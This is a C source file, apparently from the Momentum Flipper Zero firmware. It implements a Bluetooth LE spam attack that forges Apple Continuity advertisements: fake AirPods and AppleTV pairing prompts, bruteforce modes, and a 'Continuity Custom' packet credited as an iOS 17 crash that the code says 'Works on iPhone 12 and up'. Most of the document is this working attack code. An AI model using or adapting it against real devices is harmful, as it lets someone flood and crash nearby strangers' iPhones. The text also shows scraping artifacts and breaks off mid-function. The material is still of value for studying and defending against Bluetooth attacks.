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https://github.com/Next-Flip/Momentum-Firmware.git
synced 2026-04-24 03:29:57 -07:00
886 lines
30 KiB
C
886 lines
30 KiB
C
#include "continuity.h"
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#include "_protocols.h"
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// Hacked together by @Willy-JL
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// iOS 17 Crash by @ECTO-1A
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// Nearby Action IDs and Documentation at https://github.com/furiousMAC/continuity/
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// Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
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const struct {
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uint16_t value;
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const char* name;
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} pp_models[] = {
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{0x0E20, "AirPods Pro"},
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{0x0620, "Beats Solo 3"},
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{0x0A20, "AirPods Max"},
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{0x1020, "Beats Flex"},
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{0x0055, "Airtag"},
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{0x0030, "Hermes Airtag"},
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{0x0220, "AirPods"},
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{0x0F20, "AirPods 2nd Gen"},
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{0x1320, "AirPods 3rd Gen"},
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{0x1420, "AirPods Pro 2nd Gen"},
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{0x0320, "Powerbeats 3"},
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{0x0B20, "Powerbeats Pro"},
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{0x0C20, "Beats Solo Pro"},
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{0x1120, "Beats Studio Buds"},
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{0x0520, "Beats X"},
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{0x0920, "Beats Studio 3"},
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{0x1720, "Beats Studio Pro"},
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{0x1220, "Beats Fit Pro"},
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{0x1620, "Beats Studio Buds+"},
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};
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const uint8_t pp_models_count = COUNT_OF(pp_models);
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const struct {
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uint8_t value;
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const char* name;
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} pp_prefixes[] = {
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{0x01, "New Device"},
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{0x07, "Not Your Device"},
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{0x05, "New Airtag"},
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};
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const uint8_t pp_prefixes_count = COUNT_OF(pp_prefixes);
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const struct {
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uint8_t value;
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const char* name;
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} na_actions[] = {
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{0x13, "AppleTV AutoFill"},
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{0x27, "AppleTV Connecting..."},
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{0x20, "Join This AppleTV?"},
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{0x19, "AppleTV Audio Sync"},
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{0x1E, "AppleTV Color Balance"},
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{0x09, "Setup New iPhone"},
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{0x02, "Transfer Phone Number"},
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{0x0B, "HomePod Setup"},
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{0x01, "Setup New AppleTV"},
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{0x06, "Pair AppleTV"},
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{0x0D, "HomeKit AppleTV Setup"},
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{0x2B, "AppleID for AppleTV?"},
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};
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const uint8_t na_actions_count = COUNT_OF(na_actions);
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static const char* type_names[ContinuityTypeCOUNT] = {
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[ContinuityTypeAirDrop] = "AirDrop",
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[ContinuityTypeProximityPair] = "Continuity Pair",
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[ContinuityTypeAirplayTarget] = "Airplay Target",
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[ContinuityTypeHandoff] = "Handoff",
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[ContinuityTypeTetheringSource] = "Tethering Source",
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[ContinuityTypeNearbyAction] = "Continuity Action",
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[ContinuityTypeNearbyInfo] = "Nearby Info",
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[ContinuityTypeCustomCrash] = "Continuity Custom",
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};
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static const char* get_name(const Payload* payload) {
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const ContinuityCfg* cfg = &payload->cfg.continuity;
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return type_names[cfg->type];
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}
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#define HEADER_LEN (6) // 1 Size + 1 AD Type + 2 Company ID + 1 Continuity Type + 1 Continuity Size
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static uint8_t packet_sizes[ContinuityTypeCOUNT] = {
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[ContinuityTypeAirDrop] = HEADER_LEN + 18,
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[ContinuityTypeProximityPair] = HEADER_LEN + 25,
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[ContinuityTypeAirplayTarget] = HEADER_LEN + 6,
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[ContinuityTypeHandoff] = HEADER_LEN + 14,
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[ContinuityTypeTetheringSource] = HEADER_LEN + 6,
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[ContinuityTypeNearbyAction] = HEADER_LEN + 5,
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[ContinuityTypeNearbyInfo] = HEADER_LEN + 5,
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[ContinuityTypeCustomCrash] = HEADER_LEN + 11,
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};
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static void make_packet(uint8_t* _size, uint8_t** _packet, Payload* payload) {
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ContinuityCfg* cfg = payload ? &payload->cfg.continuity : NULL;
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ContinuityType type;
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if(cfg && cfg->type != 0x00) {
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type = cfg->type;
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} else {
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const ContinuityType types[] = {
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ContinuityTypeProximityPair,
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ContinuityTypeNearbyAction,
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ContinuityTypeCustomCrash,
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};
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type = types[rand() % COUNT_OF(types)];
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}
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uint8_t size = packet_sizes[type];
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uint8_t* packet = malloc(size);
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uint8_t i = 0;
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packet[i++] = size - 1; // Size
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packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
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packet[i++] = 0x4C; // Company ID (Apple, Inc.)
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packet[i++] = 0x00; // ...
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packet[i++] = type; // Continuity Type
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packet[i] = size - i - 1; // Continuity Size
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i++;
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switch(type) {
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case ContinuityTypeAirDrop: {
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packet[i++] = 0x00; // Zeros
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packet[i++] = 0x00; // ...
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packet[i++] = 0x00; // ...
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packet[i++] = 0x00; // ...
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packet[i++] = 0x00; // ...
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packet[i++] = 0x00; // ...
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packet[i++] = 0x00; // ...
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packet[i++] = 0x00; // ...
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packet[i++] = 0x01; // Version
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packet[i++] = (rand() % 256); // AppleID
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packet[i++] = (rand() % 256); // ...
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packet[i++] = (rand() % 256); // Phone Number
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packet[i++] = (rand() % 256); // ...
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packet[i++] = (rand() % 256); // Email
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packet[i++] = (rand() % 256); // ...
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packet[i++] = (rand() % 256); // Email2
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packet[i++] = (rand() % 256); // ...
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packet[i++] = 0x00; // Zero
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break;
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}
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case ContinuityTypeProximityPair: {
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uint16_t model;
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switch(payload ? payload->mode : PayloadModeRandom) {
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case PayloadModeRandom:
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default:
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model = pp_models[rand() % pp_models_count].value;
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break;
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case PayloadModeValue:
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model = cfg->data.proximity_pair.model;
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break;
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case PayloadModeBruteforce:
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model = cfg->data.proximity_pair.model = payload->bruteforce.value;
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break;
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}
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uint8_t prefix;
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if(cfg && cfg->data.proximity_pair.prefix != 0x00) {
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prefix = cfg->data.proximity_pair.prefix;
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} else {
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if(model == 0x0055 || model == 0x0030)
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prefix = 0x05;
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else
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prefix = 0x01;
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}
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packet[i++] = prefix; // Prefix (paired 0x01 new 0x07 airtag 0x05)
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packet[i++] = (model >> 0x08) & 0xFF;
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packet[i++] = (model >> 0x00) & 0xFF;
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packet[i++] = 0x55; // Status
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packet[i++] = ((rand() % 10) << 4) + (rand() % 10); // Buds Battery Level
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packet[i++] = ((rand() % 8) << 4) + (rand() % 10); // Charing Status and Battery Case Level
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packet[i++] = (rand() % 256); // Lid Open Counter
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packet[i++] = 0x00; // Device Color
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packet[i++] = 0x00;
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furi_hal_random_fill_buf(&packet[i], 16); // Encrypted Payload
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i += 16;
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break;
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}
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case ContinuityTypeAirplayTarget: {
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packet[i++] = (rand() % 256); // Flags
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packet[i++] = (rand() % 256); // Configuration Seed
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packet[i++] = (rand() % 256); // IPv4 Address
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packet[i++] = (rand() % 256); // ...
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packet[i++] = (rand() % 256); // ...
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packet[i++] = (rand() % 256); // ...
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break;
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}
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case ContinuityTypeHandoff: {
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packet[i++] = 0x01; // Version
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packet[i++] = (rand() % 256); // Initialization Vector
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packet[i++] = (rand() % 256); // ...
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packet[i++] = (rand() % 256); // AES-GCM Auth Tag
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packet[i++] = (rand() % 256); // Encrypted Payload
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packet[i++] = (rand() % 256); // ...
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packet[i++] = (rand() % 256); // ...
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packet[i++] = (rand() % 256); // ...
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packet[i++] = (rand() % 256); // ...
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packet[i++] = (rand() % 256); // ...
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packet[i++] = (rand() % 256); // ...
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packet[i++] = (rand() % 256); // ...
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packet[i++] = (rand() % 256); // ...
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packet[i++] = (rand() % 256); // ...
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break;
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}
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case ContinuityTypeTetheringSource: {
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packet[i++] = 0x01; // Version
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packet[i++] = (rand() % 256); // Flags
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packet[i++] = (rand() % 101); // Battery Life
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packet[i++] = 0x00; // Cell Service Type
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packet[i++] = (rand() % 8); // ...
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packet[i++] = (rand() % 5); // Cell Service Strength
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break;
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}
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case ContinuityTypeNearbyAction: {
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uint8_t action;
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switch(payload ? payload->mode : PayloadModeRandom) {
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case PayloadModeRandom:
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default:
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action = na_actions[rand() % na_actions_count].value;
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break;
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case PayloadModeValue:
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action = cfg->data.nearby_action.action;
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break;
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case PayloadModeBruteforce:
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action = cfg->data.nearby_action.action = payload->bruteforce.value;
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break;
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}
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uint8_t flags;
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if(cfg && cfg->data.nearby_action.flags != 0x00) {
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flags = cfg->data.nearby_action.flags;
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} else {
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flags = 0xC0;
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if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?'
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if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device'
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}
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packet[i++] = flags;
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packet[i++] = action;
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furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
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i += 3;
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break;
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}
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case ContinuityTypeNearbyInfo: {
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packet[i++] = ((rand() % 16) << 4) + (rand() % 16); // Status Flags and Action Code
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packet[i++] = (rand() % 256); // Status Flags
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packet[i++] = (rand() % 256); // Authentication Tag
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packet[i++] = (rand() % 256); // ...
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packet[i++] = (rand() % 256); // ...
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break;
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}
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case ContinuityTypeCustomCrash: {
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// Found by @ECTO-1A
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uint8_t action = na_actions[rand() % na_actions_count].value;
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uint8_t flags = 0xC0;
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if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?'
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if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device'
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i -= 2; // Override segment header
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packet[i++] = ContinuityTypeNearbyAction; // Continuity Type
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packet[i++] = 0x05; // Continuity Size
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packet[i++] = flags;
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packet[i++] = action;
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furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
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i += 3;
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packet[i++] = 0x00; // Terminator (?)
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packet[i++] = 0x00; // ...
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packet[i++] = ContinuityTypeNearbyInfo; // Continuity Type (?)
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furi_hal_random_fill_buf(&packet[i], 3); // Continuity Size (?) + Shenanigans (???)
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i += 3;
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break;
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}
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default:
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break;
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}
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*_size = size;
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*_packet = packet;
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}
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enum {
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_ConfigPpExtraStart = ConfigExtraStart,
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ConfigPpModel,
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ConfigPpPrefix,
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ConfigPpCOUNT,
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};
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enum {
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_ConfigNaExtraStart = ConfigExtraStart,
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ConfigNaAction,
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ConfigNaFlags,
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ConfigNaCOUNT,
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};
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enum {
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_ConfigCcExtraStart = ConfigExtraStart,
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ConfigCcInfoLock,
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ConfigCcInfoDevice,
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ConfigCcCOUNT,
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};
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static void config_callback(void* _ctx, uint32_t index) {
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Ctx* ctx = _ctx;
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Payload* payload = &ctx->attack->payload;
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ContinuityCfg* cfg = &payload->cfg.continuity;
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scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
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switch(cfg->type) {
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case ContinuityTypeProximityPair: {
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switch(index) {
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case ConfigPpModel:
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scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModel);
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break;
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case ConfigPpPrefix:
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scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefix);
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break;
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default:
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ctx->fallback_config_enter(ctx, index);
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break;
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}
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break;
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}
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case ContinuityTypeNearbyAction: {
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switch(index) {
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case ConfigNaAction:
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scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaAction);
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break;
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case ConfigNaFlags:
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scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaFlags);
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break;
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default:
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ctx->fallback_config_enter(ctx, index);
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break;
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}
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break;
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}
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case ContinuityTypeCustomCrash: {
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switch(index) {
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case ConfigCcInfoLock:
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case ConfigCcInfoDevice:
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break;
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default:
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ctx->fallback_config_enter(ctx, index);
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break;
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}
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break;
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}
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default:
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ctx->fallback_config_enter(ctx, index);
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break;
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}
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}
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static void pp_model_changed(VariableItem* item) {
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Payload* payload = variable_item_get_context(item);
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ContinuityCfg* cfg = &payload->cfg.continuity;
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uint8_t index = variable_item_get_current_value_index(item);
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if(index) {
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index--;
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payload->mode = PayloadModeValue;
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cfg->data.proximity_pair.model = pp_models[index].value;
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variable_item_set_current_value_text(item, pp_models[index].name);
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} else {
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payload->mode = PayloadModeRandom;
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variable_item_set_current_value_text(item, "Random");
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}
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}
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static void pp_prefix_changed(VariableItem* item) {
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Payload* payload = variable_item_get_context(item);
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ContinuityCfg* cfg = &payload->cfg.continuity;
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uint8_t index = variable_item_get_current_value_index(item);
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if(index) {
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index--;
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cfg->data.proximity_pair.prefix = pp_prefixes[index].value;
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variable_item_set_current_value_text(item, pp_prefixes[index].name);
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} else {
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cfg->data.proximity_pair.prefix = 0x00;
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variable_item_set_current_value_text(item, "Auto");
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}
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}
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static void na_action_changed(VariableItem* item) {
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Payload* payload = variable_item_get_context(item);
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ContinuityCfg* cfg = &payload->cfg.continuity;
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uint8_t index = variable_item_get_current_value_index(item);
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if(index) {
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index--;
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payload->mode = PayloadModeValue;
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cfg->data.nearby_action.action = na_actions[index].value;
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variable_item_set_current_value_text(item, na_actions[index].name);
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} else {
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payload->mode = PayloadModeRandom;
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variable_item_set_current_value_text(item, "Random");
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}
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}
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static void extra_config(Ctx* ctx) {
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Payload* payload = &ctx->attack->payload;
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ContinuityCfg* cfg = &payload->cfg.continuity;
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VariableItemList* list = ctx->variable_item_list;
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VariableItem* item;
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size_t value_index;
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switch(cfg->type) {
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case ContinuityTypeProximityPair: {
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item = variable_item_list_add(
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list, "Model Code", pp_models_count + 1, pp_model_changed, payload);
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const char* model_name = NULL;
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char model_name_buf[5];
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switch(payload->mode) {
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case PayloadModeRandom:
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default:
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model_name = "Random";
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value_index = 0;
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break;
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case PayloadModeValue:
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for(uint8_t i = 0; i < pp_models_count; i++) {
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if(cfg->data.proximity_pair.model == pp_models[i].value) {
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model_name = pp_models[i].name;
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value_index = i + 1;
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break;
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}
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}
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if(!model_name) {
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snprintf(
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model_name_buf, sizeof(model_name_buf), "%04X", cfg->data.proximity_pair.model);
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model_name = model_name_buf;
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value_index = pp_models_count + 1;
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}
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break;
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case PayloadModeBruteforce:
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model_name = "Bruteforce";
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value_index = pp_models_count + 1;
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break;
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}
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variable_item_set_current_value_index(item, value_index);
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variable_item_set_current_value_text(item, model_name);
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item = variable_item_list_add(
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list, "Prefix", pp_prefixes_count + 1, pp_prefix_changed, payload);
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const char* prefix_name = NULL;
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char prefix_name_buf[3];
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if(cfg->data.proximity_pair.prefix == 0x00) {
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prefix_name = "Auto";
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value_index = 0;
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} else {
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for(uint8_t i = 0; i < pp_prefixes_count; i++) {
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if(cfg->data.proximity_pair.prefix == pp_prefixes[i].value) {
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prefix_name = pp_prefixes[i].name;
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value_index = i + 1;
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break;
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}
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}
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if(!prefix_name) {
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snprintf(
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prefix_name_buf,
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sizeof(prefix_name_buf),
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"%02X",
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cfg->data.proximity_pair.prefix);
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prefix_name = prefix_name_buf;
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value_index = pp_prefixes_count + 1;
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}
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}
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variable_item_set_current_value_index(item, value_index);
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variable_item_set_current_value_text(item, prefix_name);
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break;
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}
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case ContinuityTypeNearbyAction: {
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item = variable_item_list_add(
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list, "Action Type", na_actions_count + 1, na_action_changed, payload);
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const char* action_name = NULL;
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char action_name_buf[3];
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|
switch(payload->mode) {
|
|
case PayloadModeRandom:
|
|
default:
|
|
action_name = "Random";
|
|
value_index = 0;
|
|
break;
|
|
case PayloadModeValue:
|
|
for(uint8_t i = 0; i < na_actions_count; i++) {
|
|
if(cfg->data.nearby_action.action == na_actions[i].value) {
|
|
action_name = na_actions[i].name;
|
|
value_index = i + 1;
|
|
break;
|
|
}
|
|
}
|
|
if(!action_name) {
|
|
snprintf(
|
|
action_name_buf,
|
|
sizeof(action_name_buf),
|
|
"%02X",
|
|
cfg->data.nearby_action.action);
|
|
action_name = action_name_buf;
|
|
value_index = na_actions_count + 1;
|
|
}
|
|
break;
|
|
case PayloadModeBruteforce:
|
|
action_name = "Bruteforce";
|
|
value_index = na_actions_count + 1;
|
|
break;
|
|
}
|
|
variable_item_set_current_value_index(item, value_index);
|
|
variable_item_set_current_value_text(item, action_name);
|
|
|
|
item = variable_item_list_add(list, "Flags", 0, NULL, NULL);
|
|
const char* flags_name = NULL;
|
|
char flags_name_buf[3];
|
|
if(cfg->data.nearby_action.flags == 0x00) {
|
|
flags_name = "Auto";
|
|
} else {
|
|
snprintf(
|
|
flags_name_buf, sizeof(flags_name_buf), "%02X", cfg->data.nearby_action.flags);
|
|
flags_name = flags_name_buf;
|
|
}
|
|
variable_item_set_current_value_text(item, flags_name);
|
|
break;
|
|
}
|
|
case ContinuityTypeCustomCrash: {
|
|
variable_item_list_add(list, "Lock+unlock helps to crash", 0, NULL, NULL);
|
|
variable_item_list_add(list, "Works on iPhone 12 and up", 0, NULL, NULL);
|
|
break;
|
|
}
|
|
default:
|
|
break;
|
|
}
|
|
|
|
variable_item_list_set_enter_callback(list, config_callback, ctx);
|
|
}
|
|
|
|
static uint8_t config_counts[ContinuityTypeCOUNT] = {
|
|
[ContinuityTypeAirDrop] = 0,
|
|
[ContinuityTypeProximityPair] = ConfigPpCOUNT - ConfigExtraStart - 1,
|
|
[ContinuityTypeAirplayTarget] = 0,
|
|
[ContinuityTypeHandoff] = 0,
|
|
[ContinuityTypeTetheringSource] = 0,
|
|
[ContinuityTypeNearbyAction] = ConfigNaCOUNT - ConfigExtraStart - 1,
|
|
[ContinuityTypeNearbyInfo] = 0,
|
|
[ContinuityTypeCustomCrash] = ConfigCcCOUNT - ConfigExtraStart - 1,
|
|
};
|
|
static uint8_t config_count(const Payload* payload) {
|
|
const ContinuityCfg* cfg = &payload->cfg.continuity;
|
|
return config_counts[cfg->type];
|
|
}
|
|
|
|
const Protocol protocol_continuity = {
|
|
.icon = &I_apple,
|
|
.get_name = get_name,
|
|
.make_packet = make_packet,
|
|
.extra_config = extra_config,
|
|
.config_count = config_count,
|
|
};
|
|
|
|
static void pp_model_callback(void* _ctx, uint32_t index) {
|
|
Ctx* ctx = _ctx;
|
|
Payload* payload = &ctx->attack->payload;
|
|
ContinuityCfg* cfg = &payload->cfg.continuity;
|
|
switch(index) {
|
|
case 0:
|
|
payload->mode = PayloadModeRandom;
|
|
scene_manager_previous_scene(ctx->scene_manager);
|
|
break;
|
|
case pp_models_count + 1:
|
|
scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModelCustom);
|
|
break;
|
|
case pp_models_count + 2:
|
|
payload->mode = PayloadModeBruteforce;
|
|
payload->bruteforce.counter = 0;
|
|
payload->bruteforce.value = cfg->data.proximity_pair.model;
|
|
payload->bruteforce.size = 2;
|
|
scene_manager_previous_scene(ctx->scene_manager);
|
|
break;
|
|
default:
|
|
payload->mode = PayloadModeValue;
|
|
cfg->data.proximity_pair.model = pp_models[index - 1].value;
|
|
scene_manager_previous_scene(ctx->scene_manager);
|
|
break;
|
|
}
|
|
}
|
|
void scene_continuity_pp_model_on_enter(void* _ctx) {
|
|
Ctx* ctx = _ctx;
|
|
Payload* payload = &ctx->attack->payload;
|
|
ContinuityCfg* cfg = &payload->cfg.continuity;
|
|
Submenu* submenu = ctx->submenu;
|
|
uint32_t selected = 0;
|
|
submenu_reset(submenu);
|
|
|
|
submenu_add_item(submenu, "Random", 0, pp_model_callback, ctx);
|
|
if(payload->mode == PayloadModeRandom) {
|
|
selected = 0;
|
|
}
|
|
|
|
bool found = false;
|
|
for(uint8_t i = 0; i < pp_models_count; i++) {
|
|
submenu_add_item(submenu, pp_models[i].name, i + 1, pp_model_callback, ctx);
|
|
if(!found && payload->mode == PayloadModeValue &&
|
|
cfg->data.proximity_pair.model == pp_models[i].value) {
|
|
found = true;
|
|
selected = i + 1;
|
|
}
|
|
}
|
|
submenu_add_item(submenu, "Custom", pp_models_count + 1, pp_model_callback, ctx);
|
|
if(!found && payload->mode == PayloadModeValue) {
|
|
selected = pp_models_count + 1;
|
|
}
|
|
|
|
submenu_add_item(submenu, "Bruteforce", pp_models_count + 2, pp_model_callback, ctx);
|
|
if(payload->mode == PayloadModeBruteforce) {
|
|
selected = pp_models_count + 2;
|
|
}
|
|
|
|
submenu_set_selected_item(submenu, selected);
|
|
|
|
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
|
|
}
|
|
bool scene_continuity_pp_model_on_event(void* _ctx, SceneManagerEvent event) {
|
|
UNUSED(_ctx);
|
|
UNUSED(event);
|
|
return false;
|
|
}
|
|
void scene_continuity_pp_model_on_exit(void* _ctx) {
|
|
UNUSED(_ctx);
|
|
}
|
|
|
|
static void pp_model_custom_callback(void* _ctx) {
|
|
Ctx* ctx = _ctx;
|
|
Payload* payload = &ctx->attack->payload;
|
|
ContinuityCfg* cfg = &payload->cfg.continuity;
|
|
payload->mode = PayloadModeValue;
|
|
cfg->data.proximity_pair.model = (ctx->byte_store[0] << 0x08) + (ctx->byte_store[1] << 0x00);
|
|
scene_manager_previous_scene(ctx->scene_manager);
|
|
scene_manager_previous_scene(ctx->scene_manager);
|
|
}
|
|
void scene_continuity_pp_model_custom_on_enter(void* _ctx) {
|
|
Ctx* ctx = _ctx;
|
|
Payload* payload = &ctx->attack->payload;
|
|
ContinuityCfg* cfg = &payload->cfg.continuity;
|
|
ByteInput* byte_input = ctx->byte_input;
|
|
|
|
byte_input_set_header_text(byte_input, "Enter custom Model Code");
|
|
|
|
ctx->byte_store[0] = (cfg->data.proximity_pair.model >> 0x08) & 0xFF;
|
|
ctx->byte_store[1] = (cfg->data.proximity_pair.model >> 0x00) & 0xFF;
|
|
|
|
byte_input_set_result_callback(
|
|
byte_input, pp_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 2);
|
|
|
|
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
|
|
}
|
|
bool scene_continuity_pp_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
|
|
UNUSED(_ctx);
|
|
UNUSED(event);
|
|
return false;
|
|
}
|
|
void scene_continuity_pp_model_custom_on_exit(void* _ctx) {
|
|
UNUSED(_ctx);
|
|
}
|
|
|
|
static void pp_prefix_callback(void* _ctx, uint32_t index) {
|
|
Ctx* ctx = _ctx;
|
|
Payload* payload = &ctx->attack->payload;
|
|
ContinuityCfg* cfg = &payload->cfg.continuity;
|
|
switch(index) {
|
|
case 0:
|
|
cfg->data.proximity_pair.prefix = 0x00;
|
|
scene_manager_previous_scene(ctx->scene_manager);
|
|
break;
|
|
case pp_prefixes_count + 1:
|
|
scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefixCustom);
|
|
break;
|
|
default:
|
|
cfg->data.proximity_pair.prefix = pp_prefixes[index - 1].value;
|
|
scene_manager_previous_scene(ctx->scene_manager);
|
|
break;
|
|
}
|
|
}
|
|
void scene_continuity_pp_prefix_on_enter(void* _ctx) {
|
|
Ctx* ctx = _ctx;
|
|
Payload* payload = &ctx->attack->payload;
|
|
ContinuityCfg* cfg = &payload->cfg.continuity;
|
|
Submenu* submenu = ctx->submenu;
|
|
uint32_t selected = 0;
|
|
bool found = false;
|
|
submenu_reset(submenu);
|
|
|
|
submenu_add_item(submenu, "Automatic", 0, pp_prefix_callback, ctx);
|
|
if(cfg->data.proximity_pair.prefix == 0x00) {
|
|
found = true;
|
|
selected = 0;
|
|
}
|
|
|
|
for(uint8_t i = 0; i < pp_prefixes_count; i++) {
|
|
submenu_add_item(submenu, pp_prefixes[i].name, i + 1, pp_prefix_callback, ctx);
|
|
if(!found && cfg->data.proximity_pair.prefix == pp_prefixes[i].value) {
|
|
found = true;
|
|
selected = i + 1;
|
|
}
|
|
}
|
|
submenu_add_item(submenu, "Custom", pp_prefixes_count + 1, pp_prefix_callback, ctx);
|
|
if(!found) {
|
|
selected = pp_prefixes_count + 1;
|
|
}
|
|
|
|
submenu_set_selected_item(submenu, selected);
|
|
|
|
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
|
|
}
|
|
bool scene_continuity_pp_prefix_on_event(void* _ctx, SceneManagerEvent event) {
|
|
UNUSED(_ctx);
|
|
UNUSED(event);
|
|
return false;
|
|
}
|
|
void scene_continuity_pp_prefix_on_exit(void* _ctx) {
|
|
UNUSED(_ctx);
|
|
}
|
|
|
|
static void pp_prefix_custom_callback(void* _ctx) {
|
|
Ctx* ctx = _ctx;
|
|
Payload* payload = &ctx->attack->payload;
|
|
ContinuityCfg* cfg = &payload->cfg.continuity;
|
|
cfg->data.proximity_pair.prefix = (ctx->byte_store[0] << 0x00);
|
|
scene_manager_previous_scene(ctx->scene_manager);
|
|
scene_manager_previous_scene(ctx->scene_manager);
|
|
}
|
|
void scene_continuity_pp_prefix_custom_on_enter(void* _ctx) {
|
|
Ctx* ctx = _ctx;
|
|
Payload* payload = &ctx->attack->payload;
|
|
ContinuityCfg* cfg = &payload->cfg.continuity;
|
|
ByteInput* byte_input = ctx->byte_input;
|
|
|
|
byte_input_set_header_text(byte_input, "Enter custom Prefix");
|
|
|
|
ctx->byte_store[0] = (cfg->data.proximity_pair.prefix >> 0x00) & 0xFF;
|
|
|
|
byte_input_set_result_callback(
|
|
byte_input, pp_prefix_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
|
|
|
|
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
|
|
}
|
|
bool scene_continuity_pp_prefix_custom_on_event(void* _ctx, SceneManagerEvent event) {
|
|
UNUSED(_ctx);
|
|
UNUSED(event);
|
|
return false;
|
|
}
|
|
void scene_continuity_pp_prefix_custom_on_exit(void* _ctx) {
|
|
UNUSED(_ctx);
|
|
}
|
|
|
|
static void na_action_callback(void* _ctx, uint32_t index) {
|
|
Ctx* ctx = _ctx;
|
|
Payload* payload = &ctx->attack->payload;
|
|
ContinuityCfg* cfg = &payload->cfg.continuity;
|
|
switch(index) {
|
|
case 0:
|
|
payload->mode = PayloadModeRandom;
|
|
scene_manager_previous_scene(ctx->scene_manager);
|
|
break;
|
|
case na_actions_count + 1:
|
|
scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaActionCustom);
|
|
break;
|
|
case na_actions_count + 2:
|
|
payload->mode = PayloadModeBruteforce;
|
|
payload->bruteforce.counter = 0;
|
|
payload->bruteforce.value = cfg->data.nearby_action.action;
|
|
payload->bruteforce.size = 1;
|
|
scene_manager_previous_scene(ctx->scene_manager);
|
|
break;
|
|
default:
|
|
payload->mode = PayloadModeValue;
|
|
cfg->data.nearby_action.action = na_actions[index - 1].value;
|
|
scene_manager_previous_scene(ctx->scene_manager);
|
|
break;
|
|
}
|
|
}
|
|
void scene_continuity_na_action_on_enter(void* _ctx) {
|
|
Ctx* ctx = _ctx;
|
|
Payload* payload = &ctx->attack->payload;
|
|
ContinuityCfg* cfg = &payload->cfg.continuity;
|
|
Submenu* submenu = ctx->submenu;
|
|
uint32_t selected = 0;
|
|
submenu_reset(submenu);
|
|
|
|
submenu_add_item(submenu, "Random", 0, na_action_callback, ctx);
|
|
if(payload->mode == PayloadModeRandom) {
|
|
selected = 0;
|
|
}
|
|
|
|
bool found = false;
|
|
for(uint8_t i = 0; i < na_actions_count; i++) {
|
|
submenu_add_item(submenu, na_actions[i].name, i + 1, na_action_callback, ctx);
|
|
if(!found && payload->mode == PayloadModeValue &&
|
|
cfg->data.nearby_action.action == na_actions[i].value) {
|
|
found = true;
|
|
selected = i + 1;
|
|
}
|
|
}
|
|
submenu_add_item(submenu, "Custom", na_actions_count + 1, na_action_callback, ctx);
|
|
if(!found && payload->mode == PayloadModeValue) {
|
|
selected = na_actions_count + 1;
|
|
}
|
|
|
|
submenu_add_item(submenu, "Bruteforce", na_actions_count + 2, na_action_callback, ctx);
|
|
if(payload->mode == PayloadModeBruteforce) {
|
|
selected = na_actions_count + 2;
|
|
}
|
|
|
|
submenu_set_selected_item(submenu, selected);
|
|
|
|
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
|
|
}
|
|
bool scene_continuity_na_action_on_event(void* _ctx, SceneManagerEvent event) {
|
|
UNUSED(_ctx);
|
|
UNUSED(event);
|
|
return false;
|
|
}
|
|
void scene_continuity_na_action_on_exit(void* _ctx) {
|
|
UNUSED(_ctx);
|
|
}
|
|
|
|
static void na_action_custom_callback(void* _ctx) {
|
|
Ctx* ctx = _ctx;
|
|
Payload* payload = &ctx->attack->payload;
|
|
ContinuityCfg* cfg = &payload->cfg.continuity;
|
|
payload->mode = PayloadModeValue;
|
|
cfg->data.nearby_action.action = (ctx->byte_store[0] << 0x00);
|
|
scene_manager_previous_scene(ctx->scene_manager);
|
|
scene_manager_previous_scene(ctx->scene_manager);
|
|
}
|
|
void scene_continuity_na_action_custom_on_enter(void* _ctx) {
|
|
Ctx* ctx = _ctx;
|
|
Payload* payload = &ctx->attack->payload;
|
|
ContinuityCfg* cfg = &payload->cfg.continuity;
|
|
ByteInput* byte_input = ctx->byte_input;
|
|
|
|
byte_input_set_header_text(byte_input, "Enter custom Action Type");
|
|
|
|
ctx->byte_store[0] = (cfg->data.nearby_action.action >> 0x00) & 0xFF;
|
|
|
|
byte_input_set_result_callback(
|
|
byte_input, na_action_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
|
|
|
|
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
|
|
}
|
|
bool scene_continuity_na_action_custom_on_event(void* _ctx, SceneManagerEvent event) {
|
|
UNUSED(_ctx);
|
|
UNUSED(event);
|
|
return false;
|
|
}
|
|
void scene_continuity_na_action_custom_on_exit(void* _ctx) {
|
|
UNUSED(_ctx);
|
|
}
|
|
|
|
static void na_flags_callback(void* _ctx) {
|
|
Ctx* ctx = _ctx;
|
|
scene_manager_previous_scene(ctx->scene_manager);
|
|
}
|
|
void scene_continuity_na_flags_on_enter(void* _ctx) {
|
|
Ctx* ctx = _ctx;
|
|
Payload* payload = &ctx->attack->payload;
|
|
ContinuityCfg* cfg = &payload->cfg.continuity;
|
|
ByteInput* byte_input = ctx->byte_input;
|
|
|
|
byte_input_set_header_text(byte_input, "Press back for automatic");
|
|
|
|
ctx->byte_store[0] = (cfg->data.nearby_action.flags >> 0x00) & 0xFF;
|
|
|
|
byte_input_set_result_callback(
|
|
byte_input, na_flags_callback, NULL, ctx, (void*)ctx->byte_store, 1);
|
|
|
|
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
|
|
}
|
|
bool scene_continuity_na_flags_on_event(void* _ctx, SceneManagerEvent event) {
|
|
Ctx* ctx = _ctx;
|
|
if(event.type == SceneManagerEventTypeBack) {
|
|
ctx->byte_store[0] = 0x00;
|
|
}
|
|
return false;
|
|
}
|
|
